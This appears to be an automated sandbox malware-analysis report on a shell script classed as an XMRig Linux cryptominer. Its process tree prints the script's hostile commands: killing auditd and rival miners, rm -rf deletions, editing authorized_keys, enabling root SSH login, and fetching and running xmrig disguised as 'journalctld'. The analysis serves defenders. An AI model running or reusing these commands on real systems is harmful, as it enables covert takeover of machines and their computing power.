Overview

overview

10

Static

static

1

ee2a183834...92A.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    2s
  • max time network
    3s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    04-11-2024 19:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ee2a1838344c1b22dcea81766204f3692A.sh

  • Size

    6KB

  • MD5

    5e2f203cb513bf4b210ac61b009df327

  • SHA1

    c77e72660d9034fe26137b040a3f073b7725d233

  • SHA256

    07f9edc6e718ebcbead64e0a2afda717f9296e76a2a5654c2b50ad7e76cd4106

  • SHA512

    7a3519c73104a327731dfa3a8507b72ea95d77f6eb8980bb072aad98c6955f11961d9716cb587cd8173fd9aa359158b91d6d59262cda496b80b32a822acd3247

  • SSDEEP

    192:4prsOPBNttuJzzCdEifVHsmVHyC3Kx7OW81nFZBh2A7o7oNcoTuwFoFxuF0y:esOPBNttuJzzC3VHsmVHyCax7M1nFZBV

Score
10/10
xmrig_linuxantivmcredential_accessdefense_evasiondiscoveryminerprivilege_escalation

Malware Config

Signatures

  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Executes dropped EXE 1 IoCs
  • OS Credential Dumping 1 TTPs 10 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

    credential_access
  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 10 IoCs

    Abuse sudo or cached sudo credentials to execute code.

    privilege_escalationdefense_evasion
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 51 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 28 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Process Discovery 1 TTPs 1 IoCs

    Adversaries may try to discover information about running processes.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ee2a1838344c1b22dcea81766204f3692A.sh
    /tmp/ee2a1838344c1b22dcea81766204f3692A.sh
    1⤵
      PID:2493
      • /usr/bin/sudo
        sudo systemctl stop c3pool_miner.service
        2⤵
        • OS Credential Dumping
        • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
        PID:2495
        • /usr/bin/systemctl
          systemctl stop c3pool_miner.service
          3⤵
            PID:2496
        • /usr/bin/sudo
          sudo systemctl disable c3pool_miner.service
          2⤵
          • OS Credential Dumping
          • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
          PID:2497
          • /usr/bin/systemctl
            systemctl disable c3pool_miner.service
            3⤵
              PID:2498
          • /usr/bin/sudo
            sudo systemctl disable xmrig.service
            2⤵
            • OS Credential Dumping
            • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
            PID:2499
            • /usr/bin/systemctl
              systemctl disable xmrig.service
              3⤵
                PID:2500
            • /usr/bin/sudo
              sudo systemctl stop journalctld.service
              2⤵
              • OS Credential Dumping
              • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
              PID:2502
              • /usr/bin/systemctl
                systemctl stop journalctld.service
                3⤵
                  PID:2505
              • /usr/bin/sudo
                sudo systemctl disable journalctld.service
                2⤵
                • OS Credential Dumping
                • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                PID:2506
                • /usr/bin/systemctl
                  systemctl disable journalctld.service
                  3⤵
                    PID:2507
                • /usr/bin/pidof
                  pidof xmrig
                  2⤵
                  • Reads runtime system information
                  PID:2508
                • /usr/bin/ps
                  ps aux
                  2⤵
                  • Checks CPU configuration
                  • Reads CPU attributes
                  • Enumerates kernel/hardware configuration
                  • Process Discovery
                  • Reads runtime system information
                  PID:2510
                • /usr/bin/grep
                  grep "[--]config="
                  2⤵
                    PID:2511
                  • /usr/bin/awk
                    awk "{print \$2}"
                    2⤵
                    • Reads runtime system information
                    PID:2512
                  • /usr/bin/sudo
                    sudo killall xmrig
                    2⤵
                    • OS Credential Dumping
                    • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                    PID:2513
                    • /usr/bin/killall
                      killall xmrig
                      3⤵
                      • Reads runtime system information
                      PID:2514
                  • /usr/bin/sudo
                    sudo pkill xmrig
                    2⤵
                    • OS Credential Dumping
                    • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                    PID:2515
                    • /usr/bin/pkill
                      pkill xmrig
                      3⤵
                      • Reads CPU attributes
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:2516
                  • /usr/bin/sudo
                    sudo pkill auditd
                    2⤵
                    • OS Credential Dumping
                    • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                    PID:2517
                    • /usr/bin/pkill
                      pkill auditd
                      3⤵
                      • Reads CPU attributes
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:2518
                  • /usr/bin/killall
                    killall -9 xmrig
                    2⤵
                    • Reads runtime system information
                    PID:2520
                  • /usr/bin/killall
                    killall xmrig
                    2⤵
                    • Reads runtime system information
                    PID:2521
                  • /usr/bin/pkill
                    pkill xmrig
                    2⤵
                    • Reads CPU attributes
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:2522
                  • /usr/bin/pkill
                    pkill auditd
                    2⤵
                    • Reads CPU attributes
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:2523
                  • /usr/bin/killall
                    killall auditd
                    2⤵
                    • Reads runtime system information
                    PID:2524
                  • /usr/bin/rm
                    rm -rf rm -rf /root/.local/.c
                    2⤵
                      PID:2525
                    • /usr/bin/rm
                      rm -rf /.c3pool
                      2⤵
                        PID:2526
                      • /usr/bin/rm
                        rm -rf /root/.c3pool
                        2⤵
                          PID:2527
                        • /usr/bin/rm
                          rm -rf /.local/share/auditd
                          2⤵
                            PID:2528
                          • /usr/bin/rm
                            rm -rf "/.local/.c*"
                            2⤵
                              PID:2529
                            • /usr/bin/rm
                              rm -rf /.local/bin/auditd
                              2⤵
                                PID:2530
                              • /usr/bin/rm
                                rm -rf /etc/cron.daily
                                2⤵
                                  PID:2531
                                • /usr/bin/rm
                                  rm -rf /etc/cron.daily/auditd
                                  2⤵
                                    PID:2532
                                  • /usr/bin/rm
                                    rm -rf /etc/systemd/system/journalctld.service
                                    2⤵
                                      PID:2533
                                    • /usr/bin/find
                                      find . -name "*c3pool*" -exec rm -rf "{}" ";"
                                      2⤵
                                        PID:2534
                                      • /usr/bin/find
                                        find . -name "*xmrig*" -exec rm -rf "{}" ";"
                                        2⤵
                                          PID:2535
                                        • /usr/bin/find
                                          find . -name "*miner*" -exec rm -rf "{}" ";"
                                          2⤵
                                            PID:2536
                                          • /usr/bin/find
                                            find -name "*c3pool*" -exec rm -rf "{}" ";"
                                            2⤵
                                              PID:2537
                                            • /usr/bin/find
                                              find -name "*xmrig*" -exec rm -rf "{}" ";"
                                              2⤵
                                                PID:2538
                                              • /usr/bin/find
                                                find -name "*miner*" -exec rm -rf "{}" ";"
                                                2⤵
                                                  PID:2539
                                                • /usr/bin/find
                                                  find -name "*c4*" -exec rm -rf "{}" ";"
                                                  2⤵
                                                    PID:2540
                                                  • /usr/bin/find
                                                    find -name "*auditd*" -exec rm -rf "{}" ";"
                                                    2⤵
                                                      PID:2541
                                                    • /usr/bin/sed
                                                      sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABgQDJRrXGodFAgNzqgVw4QmjxKhZbvc6ReMa0ctI8WGbWBi/d /.ssh/authorized_keys
                                                      2⤵
                                                        PID:2542
                                                      • /usr/bin/sed
                                                        sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABgQDJRrXGodFAgNzqgVw4QmjxKhZbvc6ReMa0ctI8WGbWBi/d /root/.ssh/authorized_keys
                                                        2⤵
                                                          PID:2543
                                                        • /usr/bin/sed
                                                          sed -i "/c3pool/d;/miner.sh/d" /.profile
                                                          2⤵
                                                            PID:2544
                                                          • /usr/bin/sed
                                                            sed -i "/c3pool/d;/miner.sh/d" /root/.profile
                                                            2⤵
                                                              PID:2545
                                                            • /usr/bin/mkdir
                                                              mkdir /.ssh
                                                              2⤵
                                                                PID:2546
                                                              • /usr/bin/touch
                                                                touch /.ssh/authorized_keys
                                                                2⤵
                                                                  PID:2547
                                                                • /usr/bin/chmod
                                                                  chmod 600 /.ssh/authorized_keys
                                                                  2⤵
                                                                    PID:2548
                                                                  • /usr/bin/chmod
                                                                    chmod go-w /root/
                                                                    2⤵
                                                                      PID:2550
                                                                    • /usr/bin/chmod
                                                                      chmod go-w /root
                                                                      2⤵
                                                                        PID:2551
                                                                      • /usr/bin/chmod
                                                                        chmod 700 /root/.ssh
                                                                        2⤵
                                                                          PID:2552
                                                                        • /usr/bin/chmod
                                                                          chmod 700 /root/.ssh
                                                                          2⤵
                                                                            PID:2553
                                                                          • /usr/bin/chmod
                                                                            chmod 600 /root/.ssh/authorized_keys
                                                                            2⤵
                                                                              PID:2554
                                                                            • /usr/bin/chown
                                                                              chown root /root
                                                                              2⤵
                                                                                PID:2555
                                                                              • /usr/bin/chown
                                                                                chown root /root/.ssh
                                                                                2⤵
                                                                                  PID:2549
                                                                                • /usr/bin/sudo
                                                                                  sudo sed -i "s/#PermitRootLogin prohibit-password/PermitRootLogin yes/" /etc/ssh/sshd_config
                                                                                  2⤵
                                                                                  • OS Credential Dumping
                                                                                  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                  PID:2556
                                                                                  • /usr/bin/sed
                                                                                    sed -i "s/#PermitRootLogin prohibit-password/PermitRootLogin yes/" /etc/ssh/sshd_config
                                                                                    3⤵
                                                                                      PID:2557
                                                                                  • /usr/bin/sudo
                                                                                    sudo sed -i "s/#PubkeyAuthentication yes/PubkeyAuthentication yes/" /etc/ssh/sshd_config
                                                                                    2⤵
                                                                                    • OS Credential Dumping
                                                                                    • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                    PID:2558
                                                                                    • /usr/bin/sed
                                                                                      sed -i "s/#PubkeyAuthentication yes/PubkeyAuthentication yes/" /etc/ssh/sshd_config
                                                                                      3⤵
                                                                                        PID:2559
                                                                                    • /usr/bin/mkdir
                                                                                      mkdir -p /.local/.c
                                                                                      2⤵
                                                                                        PID:2565
                                                                                      • /.local/.c/journalctld
                                                                                        /.local/.c/journalctld --help
                                                                                        2⤵
                                                                                          PID:2566
                                                                                        • /usr/bin/curl
                                                                                          curl -s4 https://api.github.com/repos/xmrig/xmrig/releases/latest
                                                                                          2⤵
                                                                                            PID:2568
                                                                                          • /usr/bin/grep
                                                                                            grep browser_download
                                                                                            2⤵
                                                                                              PID:2569
                                                                                            • /usr/bin/grep
                                                                                              grep linux-static
                                                                                              2⤵
                                                                                                PID:2570
                                                                                              • /usr/bin/cut
                                                                                                cut "-d\"" -f4
                                                                                                2⤵
                                                                                                  PID:2571
                                                                                                • /usr/bin/curl
                                                                                                  curl -s4 -L https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz -o /tmp/xmrig.tar.gz
                                                                                                  2⤵
                                                                                                  • Writes file to tmp directory
                                                                                                  PID:2573
                                                                                                • /usr/bin/tar
                                                                                                  tar xf /tmp/xmrig.tar.gz -C /.local/.c "--strip=1"
                                                                                                  2⤵
                                                                                                  • System Network Configuration Discovery
                                                                                                  PID:2576
                                                                                                  • /usr/local/sbin/gzip
                                                                                                    gzip -d
                                                                                                    3⤵
                                                                                                      PID:2577
                                                                                                    • /usr/local/bin/gzip
                                                                                                      gzip -d
                                                                                                      3⤵
                                                                                                        PID:2577
                                                                                                      • /usr/sbin/gzip
                                                                                                        gzip -d
                                                                                                        3⤵
                                                                                                          PID:2577
                                                                                                        • /usr/bin/gzip
                                                                                                          gzip -d
                                                                                                          3⤵
                                                                                                            PID:2577
                                                                                                        • /usr/bin/rm
                                                                                                          2⤵
                                                                                                            PID:2589
                                                                                                          • /usr/bin/mv
                                                                                                            2⤵
                                                                                                              PID:2590
                                                                                                            • /.local/.c/journalctld
                                                                                                              2⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Checks hardware identifiers (DMI)
                                                                                                              • Reads hardware information
                                                                                                              • Checks CPU configuration
                                                                                                              • Reads CPU attributes
                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                              PID:2591

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          • /.local/.c/SHA256SUMS
                                                                                                            Filesize

                                                                                                            150B

                                                                                                            MD5

                                                                                                            554d057fe1c4eab2071450cf6c434dc5

                                                                                                            SHA1

                                                                                                            9fa4d5aa72d698f72d105fce0bd44657f244c7e6

                                                                                                            SHA256

                                                                                                            cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1

                                                                                                            SHA512

                                                                                                            be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8

                                                                                                            Download Submit

                                                                                                          • /.local/.c/config.json
                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            66f38c96a4901e7b345787c447842b3e

                                                                                                            SHA1

                                                                                                            2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                                                                                                            SHA256

                                                                                                            2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                                                                                                            SHA512

                                                                                                            71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                                                                                                            Download Submit

                                                                                                          • /.local/.c/xmrig
                                                                                                            Filesize

                                                                                                            7.2MB

                                                                                                            MD5

                                                                                                            e1ac6eb6106e57e822ae749d77644768

                                                                                                            SHA1

                                                                                                            9d086db5cc74762fc5d3941cd2683efbc790a846

                                                                                                            SHA256

                                                                                                            c2fcf45410900546e566fdfe87cf085b47cbe71a995bf33f9a81d611ae6c981c

                                                                                                            SHA512

                                                                                                            28bb6a00679093d24dcdebb07369f711436acde108c5447ddc969c20b3692c50569df70a227dbc67404f298bfc13089c094f26f993c6db9f48f41a25b5844a87

                                                                                                            Download Submit

                                                                                                          • /.ssh/authorized_keys
                                                                                                            Filesize

                                                                                                            553B

                                                                                                            MD5

                                                                                                            83114d8ac16a947ad92ed44aba42b584

                                                                                                            SHA1

                                                                                                            c0d45aaf0520481cbb9919f40de870a2b1fb1e26

                                                                                                            SHA256

                                                                                                            7ae9e600a69d66a01c7163b69b1545015289cc8d45679d3fc4c6ce84b138ff38

                                                                                                            SHA512

                                                                                                            f0baf0f4e919d7e054f9f409d0c964a0548d7725b672ae902b4efc43618033ade52db5a78419dad3f298509fd1cbb512fe66fdee9429fdbf039d46c8cc587303

                                                                                                            Download Submit

                                                                                                          • /etc/ssh/sedJCWm5R
                                                                                                            Filesize

                                                                                                            3KB

                                                                                                            MD5

                                                                                                            287c70a3266e7e5e7a253864266b898e

                                                                                                            SHA1

                                                                                                            8698de52964d89bca4ec3f6cc2eeb2d3ffc6b956

                                                                                                            SHA256

                                                                                                            a3d17d12dd45c0befa9dccfcd085be892c045e3aad662d807f0f62378a6d3515

                                                                                                            SHA512

                                                                                                            411b204b6efb461329074fabe9be45e492daef5d09a913d05e0b815bf633382a79a4f5981392e7f1757a760d1dda7a8dc973230dd39278179b24014df8411112

                                                                                                            Download Submit

                                                                                                          • /etc/ssh/seddwxIRs
                                                                                                            Filesize

                                                                                                            3KB

                                                                                                            MD5

                                                                                                            ef1ab31192a3c9ebf577fd39ecf7a34d

                                                                                                            SHA1

                                                                                                            d8ff44c387d809f11d2cf1055ee6718af87a9716

                                                                                                            SHA256

                                                                                                            e8c04b7d895018f4b691f3b08cc746d0ffc8804d5f3bda48e500ef9a447ab769

                                                                                                            SHA512

                                                                                                            6fd088397bf492e1878945da95eb532c05d8e6d6eb352a3bb959996cdfabc66b7c244942583b46aa64f740ca26379988350b9d69e48898737b073ccbc766fc70

                                                                                                            Download Submit

                                                                                                          • /root/sedQZKHPL
                                                                                                            Filesize

                                                                                                            171B

                                                                                                            MD5

                                                                                                            b4459ed3e12057b32e5956ff7f28b0f6

                                                                                                            SHA1

                                                                                                            08ed5fad411e738cfc5c216ecb286f1052a0f989

                                                                                                            SHA256

                                                                                                            59d632078f559b8c50ff1d13e201dd0d84ae20227b3f19472060ec438a6c31d4

                                                                                                            SHA512

                                                                                                            765340f155169ed90f7f39648590a046ff751eec4c5e83075fc58b0d00f7a220d6045aa8bf9c4be0a884e746850b2b9883615a626d75ad9e50452cc5888d1538

                                                                                                            Download Submit

                                                                                                          • /tmp/xmrig.tar.gz
                                                                                                            Filesize

                                                                                                            3.3MB

                                                                                                            MD5

                                                                                                            8feb9a1c7da97b6e0d254d93da37371d

                                                                                                            SHA1

                                                                                                            090510d9ac1aedbce99fe98cc7396cfcfe6a3951

                                                                                                            SHA256

                                                                                                            b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7

                                                                                                            SHA512

                                                                                                            2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db

                                                                                                            Download Submit